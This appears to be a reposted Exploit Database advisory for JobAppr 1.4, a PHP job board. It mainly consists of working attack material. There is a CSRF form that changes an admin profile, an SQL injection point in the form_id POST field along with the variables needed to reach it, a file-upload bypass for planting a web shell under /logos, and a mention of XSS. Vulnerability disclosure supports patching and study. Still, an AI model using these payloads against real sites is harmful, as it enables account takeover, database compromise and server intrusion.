jobappr 1.4 – Multiple Vulnerabilities

• Exploit Database
• 127 阅读

• 作者： giudinvx
  日期： 2010-12-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15804/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  ======================================= JobAppr <= 1.4 Multiple Vulnerabilities =======================================   Author___: giudinvx Email____: <giudinvx[at]gmail[dot]com> Date_____: 21/12/2010 Site_____: http://www.giudinvx.altervista.org/ -------------------------------------------------------- Application Info: JobAppr is a simple job board software for every category Version 1.4http://www.jobappr.com/ --------------------------------------------------------   [+] CSRF <form action="[jobappr_path]/admin/profile.php" method="post" id="account"> <input type="hidden" value="1" name="role_id"> <input type="text" value="" name="first_name"><em>First</em><br/> <input type="text" value="" name="last_name"><em>Last</em><br/> <input type="text" value="" name="email"><em>email</em><br/> <input type="text" value="" name="username"><em>username</em><br/> <input type="password" value="" name="password"><em>Password</em><br/> <input type="password" value="" name="password_confirm"><em>Confirm password</em><br/> <input type="submit" value="Update Your Profile" name="submit" class="submit"></td> </form>   [+] Sql Injection Vulnerable code: post.php 91: mysql_query("UPDATE ". TB_JOBS ." SET logo=&apos;".clean($logo_url)."&apos; WHERE form_id=&apos;".$_POST[&apos;form_id&apos;]."&apos;");   For exploit this vulnerability you have need to set up some POST variables. title=1&categor=1&location=1&description=1&apply=1&company=1&website=www.localhost.com&email=localhost@www.com&highlight=1&form_id=[Sql_Injection_here]   [+] Arbitrary File Upload Vulnerable code: post.php 48: $ext = strtolower(substr($_FILES["logo"]["name"], strrpos($_FILES["logo"]["name"], &apos;.&apos;) + 1));   50: # check to see if it&apos;s an image file based on it&apos;s extention 51: if ($ext != &apos;jpg&apos; && $ext != &apos;jpeg&apos; && $ext != &apos;gif&apos; && $ext != &apos;png&apos; ) { 52: $errors = true; $err_logo = &apos;Invalid logo file type (jpg, gif, png accepted)<br />&apos;;   You can upload a shell with an extension jpg,jpeg,gif or png, and after find them in /logos path. Also for this exploit this vulnerability have need to set up POST vars above.   [+] XSS post.php page have also this vulnerability, you can exploit this with above post vars.